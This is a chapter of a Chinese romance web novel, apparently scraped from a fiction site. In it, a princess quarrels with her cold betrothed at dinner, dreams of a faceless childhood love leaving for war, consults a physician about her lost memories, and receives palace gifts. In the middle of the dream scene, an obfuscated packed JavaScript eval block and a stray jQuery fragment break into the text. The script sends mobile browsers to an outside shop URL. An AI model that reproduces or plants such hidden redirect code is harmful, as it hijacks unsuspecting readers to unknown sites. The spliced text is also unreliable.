27. 生气
    “你得了风寒,这次就算了。”

    “唔~”单穆霜点头,她拉上衣襟,踌躇着坐下,偷眼瞧向对面的凌璟琏。

    然而,对面的人好似方才无事发生一般,也似乎对她不甚关心,只是自顾自吃菜。整个醉月阁内忽而变得鸦雀无声,只有筷子偶尔碰到碗边的轻响。

    单穆霜拿起碗筷,眉头不禁微微一皱。她只觉方才站起来一下后,便觉得饱了。许是先前吃得太急,食物没送到胃里。

    当然,也不排除看到他就没食欲了!

    她微不可察地捏了捏筷子,筷头在空中滞伫片刻后才缓缓落下。

    哎,现在哪怕是看着眼前方还觉得诱人可口的排骨都不香了。

    想起午膳时他那个阴阳怪气的样子,她可不想再触那个霉头。

    也罢!如今之计,就只能硬着头皮假吃了。

    如是想着,没想,那里凌璟琏冷不丁开口,语气中带着几分讥讽:“夹起来的菜再放回去,你当我是瞎的?”

    单穆霜手一抖,筷子差点掉在桌上。她强颜欢笑道:“公子说笑了,青儿只是手滑,没夹稳。”

    凌璟琏冷哼一声,不再言语。单穆霜松了口气,心中暗暗腹诽:这人真是难伺候,吃个饭还要看人脸色。

    正当她犹豫要不要再装模作样地吃两口时,耳边突然传来“咕噜”一声,她的脸瞬间红得像熟透的柿子。

    凌璟琏放下筷子,嘴角微微上扬:“听这声音,看来某人是吃饱了。”

    单穆霜恨不得找个地缝钻进去,但还是强撑着辩解道:“青儿确实有些饱了,但还是想多陪公子一会儿。”

    “陪我?”凌璟琏冷笑,“你若真想陪我,为何眼睛一直往门口瞟?”

    被戳穿心思的单穆霜顿时羞恼交加,心道,索性现在是被他逼到了墙角,高低是少不了他的一顿嫌恶。不如来个先发制人,或许还能置之死地而后生。

    她顿了顿,一股委屈涌上心头,连带着眼圈微微发红,声音也带了些哽咽:“公子若是觉得青儿碍眼,何必强留于此?青儿不过是想多陪陪公子用膳。若公子觉得青儿有碍食欲,青儿这就告退。”

    凌璟琏被她这番话说得一愣,一时间竟不知该如何应对。

    单穆霜见状,趁热打铁道:“公子若是厌恶青儿,何必让青儿白欢喜一场?青儿从齐国远嫁来此,虽依如三公子所说的与质子无异,可我究竟也是有血有肉有心的,却也不愿做公子的笑柄。”

    说着,她作势欲起身离去。凌璟琏见状,语气不自觉地缓和了些:“既然身体不适,那就回去休息吧。”

    他话音未落,单穆霜已起身离去,裙摆在空中划出一道优美的弧线,生楞楞独留凌璟琏一人哑口无言。

    *

    回到房间,春儿秋儿连忙迎上来,七嘴八舌地安慰道:“公主别难过,奴婢看公子方才的表情,似乎是知错了呢。”

    “是啊是啊,”秋儿附和道,“奴婢还从未见过公子对谁这般温柔呢。”

    单穆霜摆摆手,淡淡道:“他有什么错?在这府上,他最大。”说罢,便闭目养神,不再言语。

    可让她安心歇一会儿吧,每次对付他可要耗费她大半的精气神,莫要叫她不想营业的时候再听到关于他的种种了。

    春儿和秋儿相视一觑,却是隐隐担心起来,看来这次是换公主生气了。可公子哪里是会哄人的人,怕是这西厢更加要被冷落了去。

    “都出去吧。这几日,公主应是太累了,加之先前受的伤也还未好透,今日就让公主早些安歇了吧。”勤媪对着两个小丫头努了努脸,幽声道。

    其实,勤文心里更比这两小丫头担心多了。

    她如是说,也是为了防止春儿和秋儿对凌璟琏秘报西厢的情况。

    谁都不知道这两个丫头内里是什么样的。即便真不是公子设下的眼线,但若是被招去问话了,不用想,准是站在东家那头的。

    勤媪拉着春儿和秋儿出了房屋。

    “咯吱”一声,屋门被阖了上。单穆霜此时才觉缓了一口气。

    她睁开眼,作了一个舒服的躺姿,双手轻轻抚摸那枚鸳鸯玉佩,仔细端详,希冀能回忆出一些过往。也不知过了多久,她便迷迷糊糊沉入了梦乡。梦中,她看到那个白衣少年向她走来。

    “霜儿~”白衣少年轻抚她的脸颊,语气温柔,“最近形势有些复杂,你我的婚事还需稍作延迟。我已和伯父伯母交代清楚,只是又要委屈你了。”

    单穆霜心头一蹙,眼眶微红,点了点头。

    从十四岁少女懵懂知心事起,她便一直等着他来娶她。

    她等了他一年又三年。第一次,是他十五岁时随军第一次参战;第二次,是因为少伯父新丧,他需要守孝三年。

    自幼相识,她知他做事周全、稳重,所以,但凡是他做出的决定,她都会支持他,也愿意无条件相信他。

    只是她毕竟是女儿家,纵然她也有心怀百姓和国的胸襟,可终究更在意眼前这个让她牵丝挂肚的人。

    她默了半晌,还是轻声问道:“是因为夏国来犯吗?”

    白衣少年抚了抚她的额,面色凝重,语气却比先前更加温和,说道:“是的,眼下边境局势动荡,若是我回不来,你尚还能另觅良配。况且,我初任将军,尚未建功。古语道,男儿先立业再成家,如今,我无功无名,更无颜娶你过门。”

    单穆霜用食指抵住他的嘴,让他不要再说不吉利的话:“立不立业,这些于我何妨?只要能和你在一起,什么都好。”

    白衣少年怜爱地抚摸她的秀发:“傻丫头,待我功成名就,定来迎娶你。”

    “我只盼你平安归来就好。”单穆霜含泪,笑着自嘲道,“你若再不娶我,我都要成老姑娘啦。到时,我即便不想再与你同好,也没有人肯要我了!”

    他用指轻轻刮了一记她微红的鼻头,点头笑道:“怎么会呢,我的霜儿长得这么好看,又温柔,还善解人意,哪怕是七八老十,我也要你!”

    她被他逗得“咯咯”地笑,“你还没答应回来要娶我呢!”

    他看着她,也跟着她一起笑,郑重道:“好,我答应你!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214876|147359||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    画面一转,天地混沌,齐国烽火连天。夏国军队横扫崤周山,由南向北猛攻。

    临行在即,单穆霜泪如雨下,少年牵着她的手,柔声安慰:“霜儿,莫哭,安心在家等我。”

    “我等你。”她点头,轻轻应声。

    她忽而想起来什么。她似乎还没好好仔细看看他,竟也不记得他是长什么样的。

    单穆霜心中一惊,若是等他回来娶她,可到时她却偏偏认不出来他,岂不是又错过了。

    想到此,她连忙抬头望向他,然而,就在她想要看清少年面容的瞬间,梦境骤然破碎。

    她猛然惊醒,泪水沾湿了枕巾:“为什么还是看不清他的脸?”

    次日,医师按例来为单穆霜诊脉。

    诊毕,单穆霜忍不住问道:“医师,本公主有个疑惑。为何本公主的有些记忆已经恢复,但还有一些怎么也想不起来?这些,会不会……”她顿了顿,深吸一口气,“会不会永远都想不起来了?”

    医师捋须沉思片刻,缓缓道:“回禀公主,此乃心病所致。古人云:‘心有所系,则事难忘;心无所牵,则事易失。【注】’公主之症,恰似寻物之人,越是在意,越难寻觅。反倒是不经意间,失物自现。

    单穆霜若有所思,医师又道:“公主无需过于忧虑。既然有一些记忆已复,余下之事,假以时日,自会浮现。不妨顺其自然,莫要强求。”

    “是啊,公主,你不去想它,它自然就出现了。”勤媪应和道:“有些事也无关重要,哪怕是重要的,想起来也只徒增烦扰,不想起来也罢。”

    这几日,公主连连做噩梦,每每不是从梦中惊醒或哭醒,又或是一整休失眠到天亮,人都消瘦了一圈,值叫人心疼。

    单穆霜微叹了一声,不自觉摸了摸衣领下的玉佩,心道,也是,想起来了又能如何?不过是徒增几分忧思罢了。

    可眼下,她唯一能聊以寄慰的就是从前的回忆,又叫她怎能轻易舍下呢。

    *

    午膳时分,凌璟琏没有回来。单穆霜松了口气,难得轻松地用了一顿饭。

    下午,宫里突然派人送来许多赏赐。来人笑呵呵地说:“恭喜公主,贺喜公主。君上说公主是福星,自打公主来了,君上的病情大有好转,精神也好了许多。”

    单穆霜连忙起身行礼:“不敢当,这都是君上洪福齐天。”

    “君上还特意为公主和二公子挑了个黄道吉日,婚期就定在二月十五,润月盈月,最是吉利不过。”

    一旁的太监插嘴道:“可不是嘛。二位还是要抓紧时间,早些生个小公子,如此,双喜临门,不止能让君上高兴,还能让君上龙寿延年呢。”

    单穆霜闻言,脸上一阵红一阵白,颔首笑了笑也便敷衍过去了。

    送走宫里来人后没多久,又有三口大箱子送到西厢院中。

    “宫里的人不是才来过吗?”望着那三大箱红木箱子,单穆霜不禁疑惑:“这又是何人送来的?”

    春儿凑近看了看,惊喜道:“公主,莫不是公子送来的吧?”